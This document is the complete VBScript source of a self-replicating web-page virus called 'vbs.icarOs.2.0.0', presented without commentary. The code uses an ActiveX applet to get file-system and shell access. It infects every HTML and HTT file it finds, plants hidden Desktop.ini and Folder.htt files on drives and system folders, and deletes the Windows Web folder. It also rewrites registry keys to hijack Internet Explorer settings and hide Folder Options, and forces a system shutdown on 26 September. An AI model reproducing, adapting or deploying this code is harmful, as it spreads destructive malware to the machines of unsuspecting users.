On Error Resume Next
Const AppletName="vbs.icarOs.2.0.0"
Const AppletCode="com.ms.activeX.ActiveXComponent"
Const fsoCLSID="{0D43FE01-F093-11CF-8940-00A0C9054228}"
Const wsCLSID="{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"
document.write""
document.write""
Sub mainv2_onload()
RegChange()
DropTemplate(TemplateDir)
DropTemplate(ThisDirPath)
DropMisc()
FileScan(ThisDirPath)
PLoadCheck()
End Sub
Sub DropMisc()
On Error Resume Next
For n=0 to 1
DropTemplate(fso.GetSpecialFolder(n)&"\")
Next
For Each d in fso.Drives
If d.DriveType=2 then DropTemplate(d.DriveLetter&":\")
Next
For Each n in WshShell.SpecialFolders
If InStr(n,"Desktop")=0 Then DropTemplate(n&"\")
Next
End Sub
Sub PLoadCheck()
On Error Resume Next
If Month(Now)=9 and Day(Now)=26 then WshShell.Run("RUNDLL32.EXE shell32.dll,SHExitWindowsEx 2")
End Sub
Sub FileAppend(f,c)
On Error Resume Next
Set myFile=fso.GetFile(f)
n=myFile.Attributes
myFile.Attributes=0
Set myFile=fso.OpenTextFile(f,8)
myFile.Write c
myFile.Close
FileAttr f,n
End Sub
Sub FileInfect(p)
On Error Resume Next
Set f=fso.OpenTextFile(p,1)
c=f.ReadAll
f.Close
If InStrRev(c,vCode)=0 Or InStrRev(c,vCode)+Len(vCode)<LEN(C)
FileAppend p,vCode
End If
End Sub
Sub FileScan(p)
On Error Resume Next
For Each sf1 In fso.GetFolder(p).Files
Select Case LCase(fso.GetExtensionName(sf1.Name))
Case "htm","html","htt"
FileInfect(sf1.Path)
End Select
Next
End Sub
Function vCode()
On Error Resume Next
nCode=Replace(QueryString,chr(34),chr(34)&chr(34))
DropMe=Array("<"&"Script Language=""VBScript""><"&chr(33)&"--","QueryString="""&nCode&"""","document.write""<""&""Script Language=""""VBScript"""">""&QueryString&""""","--"&">")
vCode=Join(DropMe,Chr(10))
End Function
Sub RegChange()
On Error Resume Next
AE="http://www.geocities.com/abouterror/index.htm"
SP="about:error"
HCU="HKEY_CURRENT_USER\"
SM="Software\Microsoft\"
HLM="HKEY_LOCAL_MACHINE\"
WC="Windows\CurrentVersion\"
PE="Policies\Explorer\"
IE="Internet Explorer\"
S=HCU&SM&IE&"Main\Start Page"
A=HLM&SM&IE&"AboutURLs\error"
E=HLM&SM&WC&"ExtShellViews\{5984FFE0-28D4-11CF-AE66-08002B2E1262}\"
N=HLM&SM&WC&PE&"NoFolderOptions"
H=HCU&SM&WC&"Explorer\Advanced\Hidden"
C=HCU&SM&WC&PE&"ClassicShell"
With WshShell
DW="REG_DWORD"
SZ="REG_SZ"
.RegWrite S,SP,SZ
.RegWrite A,AE,SZ
.RegWrite N,1,DW
.RegWrite H,0,DW
.RegWrite C,0,DW
.RegDelete E
End With
End Sub
Function ThisDirPath()
On Error Resume Next
p=Replace(UnEscape(document.location),"file:///","")
If fso.FileExists(p) Then
p=Replace(p,fso.GetFileName(p),"")
Else
If Not(Len(p)<=3) Then p=p&"/"
End If
ThisDirPath=p
End Function
Function TemplateDir()
On Error Resume Next
p=fso.GetSpecialFolder(0)&"\Web"
fso.DeleteFolder p,True
fso.CreateFolder(p)
Set myFile=fso.GetFolder(p)
myFile.Attributes=7
TemplateDir=p&"\"
End Function
Sub DropTemplate(path)
On Error Resume Next
FolderHTT=""
iniLine=array("[ExtShellFolderViews]","Default={5984FFE0-28D4-11CF-AE66-08002B2E1262}","{5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262}","","[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]","PersistMoniker=file://Folder.htt","","[.ShellClassInfo]","ConfirmFileOp=0")
DesktopINI=Join(iniLine,VbCrLf)
p=path&"Desktop.ini"
FileCreate p,DesktopINI
FileAttr p,7
p=path&"Folder.htt"
FileCreate p,FolderHTT & vCode
FileAttr p,7
End Sub
Sub FileCreate(filename,contents)
On Error Resume Next
FileAttr filename,0
Set myFile=fso.CreateTextFile(filename,True)
myFile.Write contents
myFile.Close
End Sub
Sub FileAttr(filename,attr)
On Error Resume Next
Set myFile=fso.GetFile(filename)
myFile.Attributes=attr
End Sub
Function AppObj()
On Error Resume Next
Set AppObj=document.applets(AppletName)
End Function
Function fso()
On Error Resume Next
Set fso=CreateObj(fsoCLSID)
End Function
Function WshShell()
On Error Resume Next
Set WshShell=CreateObj(wsCLSID)
End Function
Function CreateObj(CLSID)
On Error Resume Next
AppObj.SetCLSID(CLSID)
AppObj.createInstance()
window.status=""
Set CreateObj=AppObj.GetObject()
End Function
解出同lovewei |